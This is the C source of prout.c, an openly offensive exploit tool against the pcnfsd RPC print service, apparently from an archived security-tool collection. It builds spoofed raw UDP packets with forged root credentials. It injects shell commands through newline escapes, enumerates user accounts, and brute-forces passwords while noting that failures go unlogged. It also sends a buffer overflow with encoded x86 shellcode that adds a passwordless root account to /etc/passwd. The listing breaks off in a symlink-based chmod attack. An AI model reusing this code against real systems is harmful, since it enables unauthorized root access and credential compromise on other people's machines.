home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / prout.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  35KB  |  1,293 lines
  1. /*
  2.  
  3.  prout.c : (ab)use of pcnfs RPC program (version 2 only).
  4.  
  5.  [part of the rpc project, 981007]
  6.  
  7.  happy birthday route..
  8.  
  9.                         ga <duncan@mygale.org>
  10.  
  11. */
  12.  
  13. //#include <disclaimer.h>
  14. #include <string.h>            // strcpy and co
  15. #include <stdio.h>
  16. #include <stdlib.h>            // malloc, free, strtol
  17. #include <signal.h>            // signal(), alarm()
  18. #include <unistd.h>            // getopt, getuid, geteuid
  19. #include <errno.h>            // perror
  20. #include <netdb.h>            // gethostbyname
  21. #include <sys/time.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>            // socket interface
  24. #include <linux/socket.h>
  25. #include <linux/in.h>            // ip protocol (IPPROTO_*)
  26.  
  27. #define LEN_HDR_IP    20
  28. #define LEN_HDR_UDP    8
  29. #define LEN_HDR_RPC    24
  30. #define LEN_AUTH_UNIX   72+12        // length authentification field
  31. // (credentials=null) plus
  32. // length hostname%4 ("localhost")
  33.  
  34. #define ROUND_VALUE(value) (value/4+(value%4?1:0))
  35.  
  36. int ctimeout;
  37. int verbose=0;
  38.  
  39. struct ip_hdr                // 20
  40.   {
  41.     unsigned char      ver;
  42.     unsigned char      tos;
  43.     unsigned short int length;
  44.     unsigned short int identification;
  45.     unsigned short int fragoff;
  46.     unsigned char      ttl;
  47.     unsigned char      protocol;
  48.     unsigned short int checksum;
  49.     unsigned long  int sip;
  50.     unsigned long  int dip;
  51.   };
  52.  
  53. struct udp_hdr                // 8
  54.   {
  55.     unsigned short int sport;
  56.     unsigned short int dport;
  57.     unsigned short int length;
  58.     unsigned short int checksum;
  59.   };
  60.  
  61. // RPC common hdr
  62.  
  63. struct rpc_hdr                // 24
  64.   {
  65.     unsigned long  xid;
  66.     unsigned long  type_msg;
  67.     unsigned long  version_rpc;
  68.     unsigned long  prog_id;
  69.     unsigned long  prog_ver;
  70.     unsigned long  prog_proc;
  71.   };
  72.  
  73. // RPC pcnfsd call args
  74.  
  75. struct pr_cancel_args            // 722(4)
  76.   {
  77.     unsigned long  len_pn;
  78.     char           printername[64];
  79.     unsigned long  len_clnt;
  80.     char           name[64];
  81.     unsigned long  len_username;
  82.     char           username[64];
  83.     unsigned long  len_printerjobid;
  84.     char           printerjobid[255];
  85.     unsigned long  len_comments;
  86.     char           comments[255];
  87.   };
  88. #define LEN_HDR_PCN_CANCEL    sizeof(struct pr_cancel_args)
  89.  
  90. struct pr_mapid_args
  91.   {
  92.     unsigned long  len_comments;
  93.     char           comments[255];
  94.     unsigned long  req_list;
  95.     unsigned long  mapreq;
  96.     unsigned long  uid;
  97.     unsigned long  len_username;
  98.     char           username[64];
  99.     unsigned long  mapreqnext;
  100.   };
  101. #define LEN_HDR_PCN_MAPID    sizeof(struct pr_mapid_args)
  102.  
  103. struct pr_auth_args
  104.   {
  105.     unsigned long  len_clnt;
  106.     char           name[64];
  107.     unsigned long  len_id;
  108.     char           id[32];
  109.     unsigned long  len_passwd;
  110.     char           passwd[64];
  111.     unsigned long  len_comments;
  112.     char           comments[255];
  113.   };
  114. #define LEN_HDR_PCN_AUTH    sizeof(struct pr_auth_args)
  115.  
  116. struct pr_init_args
  117.   {
  118.     unsigned long  len_clnt;
  119.     char           name[64];
  120.     unsigned long  len_pn;
  121.     char           printername[64];
  122.     unsigned long  len_comments;
  123.     char           comments[255];
  124.   };
  125. #define LEN_HDR_PCN_INIT        sizeof(struct pr_init_args)
  126.  
  127. struct pr_info_args
  128.   {
  129.     unsigned long  len_version;
  130.     char           version[255];
  131.     unsigned long  len_comments;
  132.     char           comments[255];
  133.   };
  134. #define LEN_HDR_PCN_INFO        sizeof(struct pr_info_args)
  135.  
  136.  
  137. void handler_timeout(int foo)
  138. {
  139.   alarm(0);
  140.   ctimeout=1;
  141. }
  142.  
  143. void set_alarm()
  144. {
  145.   alarm(10);
  146.   ctimeout=0;
  147. }
  148.  
  149. int readfd(fd, buffer, sizeb)
  150. int fd;
  151. char *buffer;
  152. int sizeb;
  153. {
  154.   int nb;
  155.  
  156.   signal(SIGALRM, handler_timeout);
  157.   set_alarm();
  158.  
  159.   while(1)
  160.     {
  161.  
  162.       nb=read(fd, (char *)buffer, sizeb);
  163.  
  164.       if (ctimeout)
  165.         {
  166.           ctimeout--;
  167.           close(fd);
  168.           fprintf(stderr, "udp answer timeout\n");
  169.           return -2;
  170.         }
  171.  
  172.       if (nb<0)
  173.         {
  174.           perror("read");
  175.           close(fd);
  176.           return -1;
  177.         }
  178.       else break;
  179.     }
  180.   alarm(0);
  181.   return nb;
  182. }
  183.  
  184. // PR_AUTH uses xor-crypted login/passwd
  185. void crypt_xor(dest_str, source_str)
  186. char *dest_str;
  187. char *source_str;
  188. {
  189.   while (*source_str)
  190.     {
  191.       *dest_str++=(*source_str^0x5b) & 0x7f;
  192.       source_str++;
  193.     }
  194.   *dest_str=0;
  195. }
  196.  
  197.  
  198. // It's ugly.. I know.
  199. void dump_packet(unsigned char *pkt, int lenpkt)
  200. {
  201.   register int m;
  202.   register int n;
  203.   register unsigned char *data;
  204.  
  205.   printf("(%d bytes)\n", lenpkt);
  206.  
  207.   data=pkt;
  208.   for (m=0;m<lenpkt;m++)
  209.     {
  210.       if( (!(m%2)) && (m!=0) ) putchar(' ');
  211.       if( (!(m%8)) && (m!=0) )
  212.         {
  213.           n=m;
  214.           for (n=8;n>0;n--)
  215.             {
  216.               if ((*(data+m-n)>31) && (*(data+m-n)<127))
  217.                 printf("%c", *(data+m-n));
  218.               else
  219.                 putchar('.');
  220.             }
  221.           putchar('\n');
  222.         }
  223.       printf("%02x",*(data+m));
  224.     }
  225.   for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
  226.        ;m++) putchar(' ');
  227.   for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++)
  228.     {
  229.       if ((*(data+m)>31) && (*(data+m)<127))
  230.         printf("%c", *(data+m));
  231.       else
  232.         putchar('.');
  233.     }
  234.   printf("\n\n");
  235. }
  236.  
  237. // humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well...
  238. int make_raw_socket()
  239. {
  240.   int s;
  241.   int opt=1;
  242.  
  243.   if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0)
  244.     {
  245.       perror("socket");
  246.       return -1;
  247.     }
  248.   if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0)
  249.     {
  250.       perror("setsockopt IP_HDRINCL");
  251.       return -1;
  252.     }
  253.   return s;
  254. }
  255.  
  256. // spoof of the RPC auth unix authentification
  257. void make_auth_unix(authptr)
  258. unsigned long *authptr;
  259. {
  260.   struct timeval tv;
  261.  
  262.   gettimeofday(&tv, (struct timezone *) NULL);
  263.  
  264.   *(  authptr)=htonl(1);                       // auth unix
  265.   *(++authptr)=htonl(LEN_AUTH_UNIX-16);                       // length auth
  266.   *(++authptr)=htonl(tv.tv_sec);                   // local time
  267.   *(++authptr)=htonl(9);                               // length host
  268.   strcpy((char *)++authptr, "localhost");                     // hostname
  269.   authptr+=(3);                           // len(host)%4
  270.   *(  authptr)=htonl(0);                       // uid root
  271.   *(++authptr)=htonl(0);                       // gid root
  272.   *(++authptr)=htonl(9);                       // 9 gid grps
  273.   // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
  274.   *(++authptr)=htonl(0) ;
  275.   *(++authptr)=htonl(1) ;
  276.   *(++authptr)=htonl(2);
  277.   *(++authptr)=htonl(3) ;
  278.   *(++authptr)=htonl(4) ;
  279.   *(++authptr)=htonl(6);
  280.   *(++authptr)=htonl(10);
  281.   *(++authptr)=htonl(11);
  282.   *(++authptr)=htonl(0);
  283. }
  284.  
  285.  
  286. unsigned long int resolve_host_name(char *hname)
  287. {
  288.   unsigned long inetaddr;
  289.   struct  hostent *h_ent;
  290.  
  291.   if ((inetaddr=inet_addr(hname))==-1)
  292.     {
  293.       if (!(h_ent=gethostbyname(hname)))
  294.         {
  295.           fprintf(stderr, "can't resolve host %s\n", hname);
  296.           exit(1);
  297.         }
  298.       bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
  299.     }
  300.   return(inetaddr);
  301. }
  302.  
  303. /*
  304.  
  305.  Execute a command with the id of a user on a remote system.
  306.  
  307.  It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly
  308.  check all the escaped shell charaters. Therefore, it's possible to execute a 
  309.  "command" using the escape shell character '\n' (phf bug..).
  310.  
  311.  "command" must not contain any of these characters : ";|&<>`'#!?*()[]^/" 
  312.  otherwise pcnfs daemon rejects the call.
  313.  
  314. */
  315.  
  316. int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username,
  317.                          printername, command)
  318. unsigned char *pkt;
  319. int lenpkt;
  320. unsigned long  sip;
  321. unsigned short int sport;
  322. unsigned long  dip;
  323. unsigned short int dport;
  324. char *username;
  325. char *printername;
  326. char *command;
  327. {
  328.   int raws;
  329.   unsigned long *authp;
  330.  
  331.   struct ip_hdr           *iph;
  332.   struct udp_hdr          *udph;
  333.   struct rpc_hdr          *rpch;
  334.   struct pr_cancel_args   *prh;
  335.  
  336.   struct sockaddr_in s_in;
  337.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  338.  
  339.   iph=      (struct ip_hdr*)         (pkt);
  340.   udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
  341.   rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
  342.   authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
  343.   prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
  344.                                       +LEN_AUTH_UNIX);
  345.  
  346.   iph->ver=0x45;
  347.   iph->length=htons(lenpkt);
  348.   iph->identification=htons(0x6761);
  349.   iph->ttl=0xff;
  350.   iph->protocol=IPPROTO_UDP;
  351.   iph->checksum=htons(0);              // OS will do it for us..
  352.   iph->sip=sip;
  353.   iph->dip=dip;
  354.   udph->sport=htons(sport);
  355.   udph->dport=htons(dport);
  356.   udph->length=htons(lenpkt-LEN_HDR_IP);
  357.   udph->checksum=htons(0);              // XXX no udp checksum
  358.   rpch->xid=htonl(0x67616761);              //     it has to be done..
  359.   rpch->type_msg=htonl(0);
  360.   rpch->version_rpc=htonl(2);
  361.   rpch->prog_id=htonl(150001);
  362.   rpch->prog_ver=htonl(2);
  363.   rpch->prog_proc=htonl(7);              // PCNFSD_PROC_PRCANCEL
  364.   prh->len_pn           =htonl(63);
  365.   prh->len_clnt         =htonl(63);
  366.   prh->len_username     =htonl(63);
  367.   prh->len_printerjobid =htonl(254);
  368.   prh->len_comments     =htonl(254);
  369.   strcpy(prh->printername,  printername);
  370.   strcpy(prh->username,     username);
  371.   strcpy(prh->name,         "localhost");
  372.   strcpy(prh->printerjobid, "whocares");
  373.   prh->printerjobid[7]='\n';
  374.   strcpy(&prh->printerjobid[8], command);
  375.   prh->printerjobid[7+strlen(command)+1]='\n';
  376.   strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
  377.  
  378.   make_auth_unix(authp);
  379.  
  380.   if ((raws=make_raw_socket())==-1)
  381.     {
  382.       return -1;
  383.     }
  384.  
  385.   bzero((char *)&s_in, sizeof(s_in));
  386.   s_in.sin_family=AF_INET;
  387.   s_in.sin_port=htons(911);            // whatever
  388.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  389.  
  390.   if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  391.               sizeof(struct sockaddr)))==-1)
  392.     {
  393.       perror("send");
  394.       close(raws);
  395.       return -1;
  396.     }
  397.  
  398.   if (verbose) dump_packet(pkt, lenpkt);
  399.  
  400.   close(raws);
  401.   return 0;
  402. }
  403.  
  404. /*
  405.  
  406.  Retrieve remotely all logins (with uid) from a system.
  407.  It's part of the pcnfsd implementation.
  408.  
  409. */
  410.  
  411. int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid)
  412. unsigned char *pkt;
  413. int lenpkt;
  414. unsigned long  dip;
  415. unsigned short int dport;
  416. int lo_uid;
  417. int up_uid;
  418. {
  419.   int nbytes, sock;
  420.   unsigned long *authp;
  421.   unsigned long ansrpc[256];
  422.  
  423.   struct rpc_hdr         *rpch;
  424.   struct pr_mapid_args   *prh;
  425.  
  426.   struct sockaddr_in s_in;
  427.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  428.  
  429.   rpch=     (struct rpc_hdr*)        (pkt);
  430.   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  431.   prh=      (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
  432.  
  433.   rpch->xid=htonl(0x67616761);
  434.   rpch->type_msg=htonl(0);
  435.   rpch->version_rpc=htonl(2);
  436.   rpch->prog_id=htonl(150001);
  437.   rpch->prog_ver=htonl(2);
  438.   rpch->prog_proc=htonl(12);                    // PCNFSD_PROC_PRMAPID
  439.   prh->len_comments     =htonl(254);
  440.   prh->req_list     =htonl(1);            // only one req_list
  441.   prh->mapreq           =htonl(0);                 // MAP_REQ_UID
  442.   prh->len_username     =htonl(63);
  443.   prh->mapreqnext       =htonl(0);            // end req_list
  444.  
  445.   make_auth_unix(authp);
  446.  
  447.   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
  448.     {
  449.       perror("socket");
  450.       return -1;
  451.     };
  452.  
  453.   bzero((char *)&s_in, sizeof(s_in));
  454.   s_in.sin_family=AF_INET;
  455.   s_in.sin_port=htons(dport);
  456.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  457.  
  458.   for (lo_uid; lo_uid<=up_uid;lo_uid++)
  459.     {
  460.  
  461.       prh->uid=htonl(lo_uid);
  462.  
  463.       if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  464.                   sizeof(struct sockaddr)))==-1)
  465.         {
  466.           perror("send");
  467.           close(sock);
  468.           return -1;
  469.         }
  470.  
  471.       if (verbose) dump_packet(pkt, lenpkt);
  472.  
  473.       signal(SIGALRM, handler_timeout);
  474.       set_alarm();
  475.  
  476.       while(1)
  477.         {
  478.           nbytes=read(sock, (char *)ansrpc, 1024);
  479.           if (ctimeout)
  480.             {
  481.               fprintf(stderr, "uid %i : udp packet lost or no answer from "
  482.                       "the server\n", lo_uid);
  483.               break;
  484.             }
  485.           if (nbytes<0)
  486.             {
  487.               perror("read");
  488.               close(sock);
  489.               return -1;
  490.             }
  491.           else break;
  492.         }
  493.       alarm(0);
  494.  
  495.       if (!ctimeout)
  496.         {
  497.  
  498.           if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
  499.             {
  500.               fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
  501.               close(sock);
  502.               return -1;
  503.             }
  504.  
  505.           if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
  506.  
  507.           if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0)
  508.             printf("uid %i, user %s\n",
  509.                    ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]),
  510.                    (char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]);
  511.  
  512.         }
  513.     }
  514.   close(sock);
  515.   return 0;
  516. }
  517.  
  518. /*
  519.  
  520.  Return a list of available printers on the server.
  521.  
  522. */
  523.  
  524. int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport)
  525. unsigned char *pkt;
  526. int lenpkt;
  527. unsigned long  dip;
  528. unsigned short int dport;
  529. {
  530.   int nbytes, sock;
  531.   unsigned long *authp;
  532.   unsigned long buffer[256];
  533.   unsigned long *ansrpc;
  534.  
  535.   struct rpc_hdr         *rpch;
  536.  
  537.   struct sockaddr_in s_in;
  538.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  539.  
  540.   rpch=     (struct rpc_hdr*)        (pkt);
  541.   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  542.  
  543.   rpch->xid=htonl(0x67616761);
  544.   rpch->type_msg=htonl(0);
  545.   rpch->version_rpc=htonl(2);
  546.   rpch->prog_id=htonl(150001);
  547.   rpch->prog_ver=htonl(2);
  548.   rpch->prog_proc=htonl(4);                // PCNFSD_PROC_PRLIST
  549.  
  550.   make_auth_unix(authp);
  551.  
  552.   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
  553.     {
  554.       perror("socket");
  555.       return -1;
  556.     };
  557.  
  558.   bzero((char *)&s_in, sizeof(s_in));
  559.   s_in.sin_family=AF_INET;
  560.   s_in.sin_port=htons(dport);
  561.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  562.  
  563.   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  564.               sizeof(struct sockaddr)))==-1)
  565.     {
  566.       perror("send");
  567.       close(sock);
  568.       return -1;
  569.     }
  570.  
  571.   if (verbose) dump_packet(pkt, lenpkt);
  572.  
  573.   if ((nbytes=readfd(sock, (char *)buffer, 1024))<0)
  574.     return -1;
  575.  
  576.   if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) )
  577.     {
  578.       fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
  579.       close(sock);
  580.       return -1;
  581.     }
  582.  
  583.   if (verbose) dump_packet((unsigned char*)buffer, nbytes);
  584.  
  585.   ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1];
  586.  
  587.   printf("printer list (printer name, device, comment):\n");
  588.  
  589.   while(ansrpc[0]==htonl(1))
  590.     {
  591.       ansrpc++;
  592.       if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
  593.       else printf("- , ");
  594.       ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
  595.       if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]);
  596.       else printf("- , ");
  597.       ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // skip client name
  598.       ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;
  599.       if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]);
  600.       else printf("\n");
  601.       ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1;   // next list
  602.     }
  603.  
  604.  
  605.   close(sock);
  606.   return 0;
  607. }
  608.  
  609. /*
  610.  
  611.  Try to guess a combination login/passwd.
  612.  It's part of the pcnfsd implementation.
  613.  
  614.  A failed attempt is _not_ logged but a successful one is logged in
  615.  wtmp (/usr/adm/wtmp)
  616.  
  617. */
  618.  
  619. int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password)
  620. unsigned char *pkt;
  621. int lenpkt;
  622. unsigned long  dip;
  623. unsigned short int dport;
  624. char *username;
  625. char *password;
  626. {
  627.   int nbytes, sock;
  628.   unsigned long *authp;
  629.   unsigned long ansrpc[256];
  630.  
  631.   struct rpc_hdr         *rpch;
  632.   struct pr_auth_args    *prh;
  633.  
  634.   struct sockaddr_in s_in;
  635.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  636.  
  637.   rpch=     (struct rpc_hdr*)       (pkt);
  638.   authp=    (unsigned long *)       (pkt+LEN_HDR_RPC);
  639.   prh=      (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
  640.  
  641.   rpch->xid=htonl(0x67616761);
  642.   rpch->type_msg=htonl(0);
  643.   rpch->version_rpc=htonl(2);
  644.   rpch->prog_id=htonl(150001);
  645.   rpch->prog_ver=htonl(2);
  646.   rpch->prog_proc=htonl(13);                    // PCNFSD_PROC_PRAUTH
  647.   prh->len_clnt         =htonl(63);
  648.   prh->len_id           =htonl(31);
  649.   prh->len_passwd       =htonl(63);
  650.   prh->len_comments     =htonl(254);
  651.  
  652.   strcpy(prh->comments,  "kill -9 `pidof rpc.pcnfsd` ?");
  653.   strcpy(prh->name,      "localhost");
  654.   crypt_xor(prh->id,        username);
  655.   crypt_xor(prh->passwd,    password);
  656.  
  657.   make_auth_unix(authp);
  658.  
  659.   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
  660.     {
  661.       perror("socket");
  662.       return -1;
  663.     };
  664.  
  665.   bzero((char *)&s_in, sizeof(s_in));
  666.   s_in.sin_family=AF_INET;
  667.   s_in.sin_port=htons(dport);
  668.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  669.  
  670.   if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  671.               sizeof(struct sockaddr)))==-1)
  672.     {
  673.       perror("send");
  674.       close(sock);
  675.       return -1;
  676.     }
  677.  
  678.   if (verbose) dump_packet(pkt, lenpkt);
  679.  
  680.   if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0)
  681.     return -1;
  682.  
  683.   if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) )
  684.     {
  685.       fprintf(stderr, "RPC answer status : bad proc/version/auth\n");
  686.       close(sock);
  687.       return -1;
  688.     }
  689.  
  690.   if (verbose) dump_packet((unsigned char*)ansrpc, nbytes);
  691.  
  692.   if (ntohl(ansrpc[6])==0)
  693.     fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n",
  694.             username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password);
  695.   else
  696.     fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n",
  697.             username, password);
  698.  
  699.   close(sock);
  700.   return 0;
  701. }
  702.  
  703. /*
  704.  
  705.  Execute a command as root on the system using a buffer overrun.
  706.  Another one ..
  707.  
  708.  Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware
  709.  3.5 (unpatched one). The return address may change with distribs..
  710.  
  711.  If the overflow is successful, then /etc/passwd has the new entry :
  712.      
  713.      "prout::0:0::/:/bin/sh"
  714.  
  715. */
  716.  
  717. int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport)
  718. unsigned char *pkt;
  719. int lenpkt;
  720. unsigned long  sip;
  721. unsigned short int sport;
  722. unsigned long  dip;
  723. unsigned short int dport;
  724. {
  725.   int raws;
  726.   unsigned long *authp;
  727.  
  728.   struct ip_hdr           *iph;
  729.   struct udp_hdr          *udph;
  730.   struct rpc_hdr          *rpch;
  731.   struct pr_cancel_args   *prh;
  732.  
  733.   struct sockaddr_in s_in;
  734.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  735.  
  736.   // buffer overflow data
  737.  
  738. #define RETADDR   0xbffff740    // return address for pcnfsd
  739.   // @(#)pcnfsd_print.c      1.12    1/29/93
  740.   // used on slackware 3.1 but with code of
  741.   // rpc.pcnfsd shipped with slackware 3.5 (not
  742.   // patched). This value may be different for
  743.   // other linux distribs.
  744. #define BUFFSIZE  250        // no more, no less
  745.  
  746.   int off;
  747.   unsigned char *bover;
  748.   unsigned long *boverl;
  749.  
  750.   char execode[100]=                // [asm code (linux x86 only)]
  751.     "\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm
  752.     "\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain
  753.     "\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like :
  754.     "\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" //
  755.     "\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" //  ";|&<>`'#!?*()[]^/" and 0s
  756.     "\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" //
  757.     "\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple
  758.     "\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work
  759.     "\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" //
  760.     "\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code
  761.   // adds the new entry
  762.   // "prout::0:0::/:/bin/sh\n"
  763.   // in /etc/passwd
  764.   // and then it exits cleanly
  765.  
  766.   iph=      (struct ip_hdr*)         (pkt);
  767.   udph=     (struct udp_hdr*)        (pkt+LEN_HDR_IP);
  768.   rpch=     (struct rpc_hdr*)        (pkt+LEN_HDR_IP+LEN_HDR_UDP);
  769.   authp=    (unsigned long *)        (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
  770.   prh=      (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC
  771.                                       +LEN_AUTH_UNIX);
  772.  
  773.   // set up code of buffer overflow
  774.  
  775.   bover=(unsigned char *)&(prh->printerjobid);
  776.  
  777.   for (off=0; off<(BUFFSIZE/2); off++)       // 125 non operates
  778.     *(bover++)= 0x90;               // (x86 nop operand) Hello noppie.
  779.  
  780.   for (off=0; off<sizeof(execode); off++) // 100 bytes of code
  781.     *(bover++)= execode[off];           // stick our asm code in the buffer
  782.  
  783.   boverl=(unsigned long *)bover;
  784.  
  785.   for (off=0; off<8; off++)            // 7 unsigned long RETADDR
  786.     *(boverl+off)=RETADDR;               // our return address (on stack)
  787.  
  788.   // set up IP packet
  789.  
  790.   iph->ver=0x45;
  791.   iph->length=htons(lenpkt);
  792.   iph->identification=htons(0x6761);
  793.   iph->ttl=0xff;
  794.   iph->protocol=IPPROTO_UDP;
  795.   iph->checksum=htons(0);               // OS will do it for us
  796.   iph->sip=sip;
  797.   iph->dip=dip;
  798.   udph->sport=htons(sport);
  799.   udph->dport=htons(dport);
  800.   udph->length=htons(lenpkt-LEN_HDR_IP);
  801.   udph->checksum=htons(0);               // XXX no udp checksum
  802.   rpch->xid=htonl(0x67616761);
  803.   rpch->type_msg=htonl(0);
  804.   rpch->version_rpc=htonl(2);
  805.   rpch->prog_id=htonl(150001);
  806.   rpch->prog_ver=htonl(2);
  807.   rpch->prog_proc=htonl(7);               // PCNFSD_PROC_PRCANCEL
  808.   prh->len_pn           =htonl(63);
  809.   prh->len_clnt         =htonl(63);
  810.   prh->len_username     =htonl(63);
  811.   prh->len_printerjobid =htonl(254);
  812.   prh->len_comments     =htonl(254);
  813.   strcpy (prh->printername,  "lp");           // we assume "lp" is a good
  814.   strcpy (prh->username,     "nobody");       // printer
  815.   strcpy (prh->name,         "localhost");
  816.   strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice.");
  817.  
  818.   make_auth_unix(authp);
  819.  
  820.   if ((raws=make_raw_socket())==-1)
  821.     {
  822.       return -1;
  823.     }
  824.  
  825.   bzero((char *)&s_in, sizeof(s_in));
  826.   s_in.sin_family=AF_INET;
  827.   s_in.sin_port=htons(911);            // whatever
  828.   bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
  829.  
  830.   if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
  831.               sizeof(struct sockaddr)))==-1)
  832.     {
  833.       perror("send");
  834.       close(raws);
  835.       return -1;
  836.     }
  837.  
  838.   if (verbose) dump_packet(pkt, lenpkt);
  839.  
  840.   close(raws);
  841.   return 0;
  842. }
  843.  
  844. /*
  845.  
  846.  A local user can chmod(777) any files in the pcnfsd directory (including the
  847.  pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg). 
  848.  
  849.  Therefore, using a symlink, a user can chmod(777) any files on the system.
  850.  
  851. */
  852.  
  853. int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename)
  854. unsigned char *pkt;
  855. int lenpkt;
  856. unsigned long  dip;
  857. unsigned short int dport;
  858. char *filename;
  859. {
  860.   int sock;
  861.   unsigned long *authp;
  862.  
  863.   struct rpc_hdr          *rpch;
  864.   struct pr_init_args     *prh;
  865.  
  866.   struct sockaddr_in s_in;
  867.   struct sockaddr    *sa=(struct sockaddr*)&s_in;
  868.  
  869.   rpch=     (struct rpc_hdr*)        (pkt);
  870.   authp=    (unsigned long *)        (pkt+LEN_HDR_RPC);
  871.   prh=      (struct pr_init_args *)  (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX);
  872.  
  873.   rpch->xid=htonl(0x67616761);
  874.   rpch->type_msg=htonl(0);
  875.   rpch->version_rpc=htonl(2);
  876.   rpch->prog_id=htonl(150001);
  877.   rpch->prog_ver=htonl(2);
  878.   rpch->prog_proc=htonl(2);               // PCNFSD_PROC_PRINIT
  879.   prh->len_clnt         =htonl(63);
  880.   prh->len_pn           =htonl(63);
  881.   prh->len_comments     =htonl(254);
  882.   strcpy(prh->printername,  "lp");                // PR_INIT doesn't check it
  883.   // anyway
  884.   strcpy(prh->name,         filename);
  885.   strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice.");
  886.  
  887.   make_auth_unix(authp);
  888.  
  889.   if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0)
  890.     {
  891.       perror("socket");
  892.       return -1;
  893.     };
  894.  
  895.   bzero((char *)&s_in, sizeof(s_in));
  896.   s_in.sin_family=AF_INET;
